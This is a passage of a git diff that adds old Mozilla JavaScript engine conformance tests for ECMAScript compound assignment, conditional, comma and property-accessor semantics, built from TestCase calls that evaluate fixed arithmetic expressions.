+ eval("VAR1 = -1; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 1; VAR2= -Infinity; VAR1 %= VAR2;VAR1",
+ 1,
+ eval("VAR1 = 1; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+// if the dividend is a zero and the divisor is finite, the result is the same as the dividend
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= 1; VAR1 %= VAR2; VAR1",
+ 0,
+ eval("VAR1 = 0; VAR2 = 1; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= 1; VAR1 %= VAR2; VAR1",
+ -0,
+ eval("VAR1 = -0; VAR2 = 1; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -1; VAR1 %= VAR2; VAR1",
+ -0,
+ eval("VAR1 = -0; VAR2 = -1; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -1; VAR1 %= VAR2; VAR1",
+ 0,
+ eval("VAR1 = 0; VAR2 = -1; VAR1 %= VAR2; VAR1") );
+
+// string cases
+new TestCase( SECTION,
+ "VAR1 = 1000; VAR2 = '10', VAR1 %= VAR2; VAR1",
+ 0,
+ eval("VAR1 = 1000; VAR2 = '10', VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = '1000'; VAR2 = 10, VAR1 %= VAR2; VAR1",
+ 0,
+ eval("VAR1 = '1000'; VAR2 = 10, VAR1 %= VAR2; VAR1") );
+/*
+ new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 %= VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 %= VAR2") );
+ new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 %= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 %= VAR2") );
+
+ new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 %= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 %= VAR2") );
+ new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 %= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 %= VAR2") );
+ new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 %= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 %= VAR2") );
+
+ // boolean cases
+ new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 %= VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 %= VAR2") );
+ new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 %= VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 %= VAR2") );
+
+ // object cases
+ new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 %= VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 %= VAR2; VAR1") );
+ new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 %= VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 %= VAR2; VAR1") );
+ new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 %= VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 %= VAR2") );
+ new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 %= VAR2", 255, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 %= VAR2") );
+
+*/
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.13.2-4.js b/js/src/tests/ecma/Expressions/11.13.2-4.js
new file mode 100644
index 000000000..56e55070a
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.13.2-4.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.13.2-4.js
+ ECMA Section: 11.13.2 Compound Assignment:+=
+ Description:
+
+ *= /= %= += -= <<= >>= >>>= &= ^= |=
+
+ 11.13.2 Compound assignment ( op= )
+
+ The production AssignmentExpression :
+ LeftHandSideExpression @ = AssignmentExpression, where @ represents one of
+ the operators indicated above, is evaluated as follows:
+
+ 1. Evaluate LeftHandSideExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AssignmentExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Apply operator @ to Result(2) and Result(4).
+ 6. Call PutValue(Result(1), Result(5)).
+ 7. Return Result(5).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.13.2-4";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Compound Assignment: +=");
+
+// If either operand is NaN, result is NaN
+
+new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 += VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 += VAR2") );
+new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 += VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 += VAR2") );
+new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 += VAR2", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 += VAR2") );
+new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 += VAR2; VAR1") );
+
+// the sum of two Infinities the same sign is the infinity of that sign
+// the sum of two Infinities of opposite sign is NaN
+
+new TestCase( SECTION, "VAR1 = Infinity; VAR2= Infinity; VAR1 += VAR2; VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = Infinity; VAR2= -Infinity; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 =-Infinity; VAR2= Infinity; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 =-Infinity; VAR2=-Infinity; VAR1 += VAR2; VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 += VAR2; VAR1") );
+
+// the sum of an infinity and a finite value is equal to the infinite operand
+
+new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR1 += VAR2;VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR1 += VAR2;VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR1 += VAR2;VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR1 += VAR2;VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 += VAR2; VAR1") );
+
+// the sum of two negative zeros is -0. the sum of two positive zeros, or of two zeros of opposite sign, is +0
+
+new TestCase( SECTION, "VAR1 = 0; VAR2= 0; VAR1 += VAR2", 0, eval("VAR1 = 0; VAR2 = 0; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = 0; VAR2= -0; VAR1 += VAR2", 0, eval("VAR1 = 0; VAR2 = -0; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= 0; VAR1 += VAR2", 0, eval("VAR1 = -0; VAR2 = 0; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= -0; VAR1 += VAR2", -0, eval("VAR1 = -0; VAR2 = -0; VAR1 += VAR2; VAR1") );
+
+// the sum of a zero and a nonzero finite value is eqal to the nonzero operand
+
+new TestCase( SECTION, "VAR1 = 0; VAR2= 1; VAR2 += VAR1; VAR2", 1, eval("VAR1 = 0; VAR2 = 1; VAR2 += VAR1; VAR2") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= 1; VAR2 += VAR1; VAR2", 1, eval("VAR1 = -0; VAR2 = 1; VAR2 += VAR1; VAR2") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= -1; VAR2 += VAR1; VAR2", -1, eval("VAR1 = -0; VAR2 = -1; VAR2 += VAR1; VAR2") );
+new TestCase( SECTION, "VAR1 = 0; VAR2= -1; VAR2 += VAR1; VAR2", -1, eval("VAR1 = 0; VAR2 = -1; VAR2 += VAR1; VAR2") );
+
+// the sum of a zero and a nozero finite value is equal to the nonzero operand.
+new TestCase( SECTION, "VAR1 = 0; VAR2=1; VAR1 += VAR2", 1, eval("VAR1 = 0; VAR2=1; VAR1 += VAR2") );
+new TestCase( SECTION, "VAR1 = 0; VAR2=1; VAR1 += VAR2;VAR1", 1, eval("VAR1 = 0; VAR2=1; VAR1 += VAR2;VAR1") );
+
+// the sum of two nonzero finite values of the same magnitude and opposite sign is +0
+new TestCase( SECTION, "VAR1 = Number.MAX_VALUE; VAR2= -Number.MAX_VALUE; VAR1 += VAR2; VAR1", 0, eval("VAR1 = Number.MAX_VALUE; VAR2= -Number.MAX_VALUE; VAR1 += VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = Number.MIN_VALUE; VAR2= -Number.MIN_VALUE; VAR1 += VAR2; VAR1", 0, eval("VAR1 = Number.MIN_VALUE; VAR2= -Number.MIN_VALUE; VAR1 += VAR2; VAR1") );
+
+/*
+ new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 += VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 += VAR2") );
+ new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 += VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 += VAR2") );
+
+ new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 += VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 += VAR2") );
+ new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 += VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 += VAR2") );
+ new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 += VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 += VAR2") );
+
+ // boolean cases
+ new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 += VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 += VAR2") );
+ new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 += VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 += VAR2") );
+
+ // object cases
+ new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 += VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 += VAR2; VAR1") );
+ new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 += VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 += VAR2; VAR1") );
+ new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 += VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 += VAR2") );
+ new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 += VAR2", 255, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 += VAR2") );
+
+*/
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.13.2-5.js b/js/src/tests/ecma/Expressions/11.13.2-5.js
new file mode 100644
index 000000000..46c8cc607
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.13.2-5.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.13.2-5.js
+ ECMA Section: 11.13.2 Compound Assignment: -=
+ Description:
+
+ *= /= %= -= -= <<= >>= >>>= &= ^= |=
+
+ 11.13.2 Compound assignment ( op= )
+
+ The production AssignmentExpression :
+ LeftHandSideExpression @ = AssignmentExpression, where @ represents one of
+ the operators indicated above, is evaluated as follows:
+
+ 1. Evaluate LeftHandSideExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AssignmentExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Apply operator @ to Result(2) and Result(4).
+ 6. Call PutValue(Result(1), Result(5)).
+ 7. Return Result(5).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.13.2-5";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Compound Assignment: -=");
+
+// If either operand is NaN, result is NaN
+
+new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 -= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 -= VAR2") );
+new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 -= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 -= VAR2") );
+new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 -= VAR2", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 -= VAR2") );
+new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 -= VAR2; VAR1") );
+
+// the sum of two Infinities the same sign is the infinity of that sign
+// the sum of two Infinities of opposite sign is NaN
+
+new TestCase( SECTION, "VAR1 = Infinity; VAR2= Infinity; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = Infinity; VAR2= -Infinity; VAR1 -= VAR2; VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 =-Infinity; VAR2= Infinity; VAR1 -= VAR2; VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 =-Infinity; VAR2=-Infinity; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 -= VAR2; VAR1") );
+
+// the sum of an infinity and a finite value is equal to the infinite operand
+
+new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR1 -= VAR2;VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR1 -= VAR2;VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR1 -= VAR2;VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR1 -= VAR2;VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 -= VAR2; VAR1") );
+
+// the sum of two negative zeros is -0. the sum of two positive zeros, or of two zeros of opposite sign, is +0
+
+new TestCase( SECTION, "VAR1 = 0; VAR2= -0; VAR1 -= VAR2", 0, eval("VAR1 = 0; VAR2 = 0; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = 0; VAR2= 0; VAR1 -= VAR2", 0, eval("VAR1 = 0; VAR2 = -0; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= -0; VAR1 -= VAR2", 0, eval("VAR1 = -0; VAR2 = 0; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= 0; VAR1 -= VAR2", -0, eval("VAR1 = -0; VAR2 = -0; VAR1 -= VAR2; VAR1") );
+
+// the sum of a zero and a nonzero finite value is eqal to the nonzero operand
+
+new TestCase( SECTION, "VAR1 = 0; VAR2= -1; VAR1 -= VAR2; VAR1", 1, eval("VAR1 = 0; VAR2 = -1; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= -1; VAR1 -= VAR2; VAR1", 1, eval("VAR1 = -0; VAR2 = -1; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = -0; VAR2= 1; VAR1 -= VAR2; VAR1", -1, eval("VAR1 = -0; VAR2 = 1; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = 0; VAR2= 1; VAR1 -= VAR2; VAR1", -1, eval("VAR1 = 0; VAR2 = 1; VAR1 -= VAR2; VAR1") );
+
+// the sum of a zero and a nozero finite value is equal to the nonzero operand.
+new TestCase( SECTION, "VAR1 = 0; VAR2=-1; VAR1 -= VAR2", 1, eval("VAR1 = 0; VAR2=-1; VAR1 -= VAR2;VAR1") );
+new TestCase( SECTION, "VAR1 = 0; VAR2=-1; VAR1 -= VAR2;VAR1", 1, eval("VAR1 = 0; VAR2=-1; VAR1 -= VAR2;VAR1") );
+
+// the sum of two nonzero finite values of the same magnitude and opposite sign is +0
+new TestCase( SECTION, "VAR1 = Number.MAX_VALUE; VAR2= Number.MAX_VALUE; VAR1 -= VAR2; VAR1", 0, eval("VAR1 = Number.MAX_VALUE; VAR2= Number.MAX_VALUE; VAR1 -= VAR2; VAR1") );
+new TestCase( SECTION, "VAR1 = Number.MIN_VALUE; VAR2= Number.MIN_VALUE; VAR1 -= VAR2; VAR1", 0, eval("VAR1 = Number.MIN_VALUE; VAR2= Number.MIN_VALUE; VAR1 -= VAR2; VAR1") );
+
+/*
+ new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 -= VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 -= VAR2") );
+ new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 -= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 -= VAR2") );
+
+ new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 -= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 -= VAR2") );
+ new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 -= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 -= VAR2") );
+ new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 -= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 -= VAR2") );
+
+ // boolean cases
+ new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 -= VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 -= VAR2") );
+ new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 -= VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 -= VAR2") );
+
+ // object cases
+ new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 -= VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 -= VAR2; VAR1") );
+ new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 -= VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 -= VAR2; VAR1") );
+ new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 -= VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 -= VAR2") );
+ new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 -= VAR2", 255, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 -= VAR2") );
+
+*/
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.13.js b/js/src/tests/ecma/Expressions/11.13.js
new file mode 100644
index 000000000..3dd40babb
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.13.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.12.js
+ ECMA Section: 11.12 Conditional Operator
+ Description:
+ Logi
+
+ calORExpression ? AssignmentExpression : AssignmentExpression
+
+ Semantics
+
+ The production ConditionalExpression :
+ LogicalORExpression ? AssignmentExpression : AssignmentExpression
+ is evaluated as follows:
+
+ 1. Evaluate LogicalORExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToBoolean(Result(2)).
+ 4. If Result(3) is false, go to step 8.
+ 5. Evaluate the first AssignmentExpression.
+ 6. Call GetValue(Result(5)).
+ 7. Return Result(6).
+ 8. Evaluate the second AssignmentExpression.
+ 9. Call GetValue(Result(8)).
+ 10. Return Result(9).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.12";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Conditional operator( ? : )");
+
+new TestCase( SECTION, "true ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED"));
+new TestCase( SECTION, "false ? 'FAILED' : 'PASSED'", "PASSED", (false?"FAILED":"PASSED"));
+
+new TestCase( SECTION, "1 ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED"));
+new TestCase( SECTION, "0 ? 'FAILED' : 'PASSED'", "PASSED", (false?"FAILED":"PASSED"));
+new TestCase( SECTION, "-1 ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED"));
+
+new TestCase( SECTION, "NaN ? 'FAILED' : 'PASSED'", "PASSED", (Number.NaN?"FAILED":"PASSED"));
+
+new TestCase( SECTION, "var VAR = true ? , : 'FAILED'", "PASSED", (VAR = true ? "PASSED" : "FAILED") );
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.14-1.js b/js/src/tests/ecma/Expressions/11.14-1.js
new file mode 100644
index 000000000..c9bbbb00b
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.14-1.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.14-1.js
+ ECMA Section: 11.14 Comma operator (,)
+ Description:
+ Expression :
+
+ AssignmentExpression
+ Expression , AssignmentExpression
+
+ Semantics
+
+ The production Expression : Expression , AssignmentExpression is evaluated as follows:
+
+ 1. Evaluate Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AssignmentExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Return Result(4).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.14-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Comma operator (,)");
+
+new TestCase( SECTION, "true, false", false, eval("true, false") );
+new TestCase( SECTION, "VAR1=true, VAR2=false", false, eval("VAR1=true, VAR2=false") );
+new TestCase( SECTION, "VAR1=true, VAR2=false;VAR1", true, eval("VAR1=true, VAR2=false; VAR1") );
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.2.1-1.js b/js/src/tests/ecma/Expressions/11.2.1-1.js
new file mode 100644
index 000000000..dfc7c943f
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.1-1.js
@@ -0,0 +1,238 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.1-1.js
+ ECMA Section: 11.2.1 Property Accessors
+ Description:
+
+ Properties are accessed by name, using either the dot notation:
+ MemberExpression . Identifier
+ CallExpression . Identifier
+
+ or the bracket notation: MemberExpression [ Expression ]
+ CallExpression [ Expression ]
+
+ The dot notation is explained by the following syntactic conversion:
+ MemberExpression . Identifier
+ is identical in its behavior to
+ MemberExpression [ <identifier-string> ]
+ and similarly
+ CallExpression . Identifier
+ is identical in its behavior to
+ CallExpression [ <identifier-string> ]
+ where <identifier-string> is a string literal containing the same sequence
+ of characters as the Identifier.
+
+ The production MemberExpression : MemberExpression [ Expression ] is
+ evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Expression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToObject(Result(2)).
+ 6. Call ToString(Result(4)).
+ 7. Return a value of type Reference whose base object is Result(5) and
+ whose property name is Result(6).
+
+ The production CallExpression : CallExpression [ Expression ] is evaluated
+ in exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.2.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Property Accessors";
+writeHeaderToLog( SECTION + " "+TITLE );
+
+// go through all Native Function objects, methods, and properties and get their typeof.
+
+var PROPERTY = new Array();
+var p = 0;
+
+// properties and functions of the global object
+
+PROPERTY[p++] = new Property( "this", "NaN", "number" );
+PROPERTY[p++] = new Property( "this", "Infinity", "number" );
+PROPERTY[p++] = new Property( "this", "eval", "function" );
+PROPERTY[p++] = new Property( "this", "parseInt", "function" );
+PROPERTY[p++] = new Property( "this", "parseFloat", "function" );
+PROPERTY[p++] = new Property( "this", "escape", "function" );
+PROPERTY[p++] = new Property( "this", "unescape", "function" );
+PROPERTY[p++] = new Property( "this", "isNaN", "function" );
+PROPERTY[p++] = new Property( "this", "isFinite", "function" );
+PROPERTY[p++] = new Property( "this", "Object", "function" );
+PROPERTY[p++] = new Property( "this", "Number", "function" );
+PROPERTY[p++] = new Property( "this", "Function", "function" );
+PROPERTY[p++] = new Property( "this", "Array", "function" );
+PROPERTY[p++] = new Property( "this", "String", "function" );
+PROPERTY[p++] = new Property( "this", "Boolean", "function" );
+PROPERTY[p++] = new Property( "this", "Date", "function" );
+PROPERTY[p++] = new Property( "this", "Math", "object" );
+
+// properties and methods of Object objects
+
+PROPERTY[p++] = new Property( "Object", "prototype", "object" );
+PROPERTY[p++] = new Property( "Object", "toString", "function" );
+PROPERTY[p++] = new Property( "Object", "valueOf", "function" );
+PROPERTY[p++] = new Property( "Object", "constructor", "function" );
+
+// properties of the Function object
+
+PROPERTY[p++] = new Property( "Function", "prototype", "function" );
+PROPERTY[p++] = new Property( "Function.prototype", "toString", "function" );
+PROPERTY[p++] = new Property( "Function.prototype", "length", "number" );
+PROPERTY[p++] = new Property( "Function.prototype", "valueOf", "function" );
+
+Function.prototype.myProperty = "hi";
+
+PROPERTY[p++] = new Property( "Function.prototype", "myProperty", "string" );
+
+// properties of the Array object
+PROPERTY[p++] = new Property( "Array", "prototype", "object" );
+PROPERTY[p++] = new Property( "Array", "length", "number" );
+PROPERTY[p++] = new Property( "Array.prototype", "constructor", "function" );
+PROPERTY[p++] = new Property( "Array.prototype", "toString", "function" );
+PROPERTY[p++] = new Property( "Array.prototype", "join", "function" );
+PROPERTY[p++] = new Property( "Array.prototype", "reverse", "function" );
+PROPERTY[p++] = new Property( "Array.prototype", "sort", "function" );
+
+// properties of the String object
+PROPERTY[p++] = new Property( "String", "prototype", "object" );
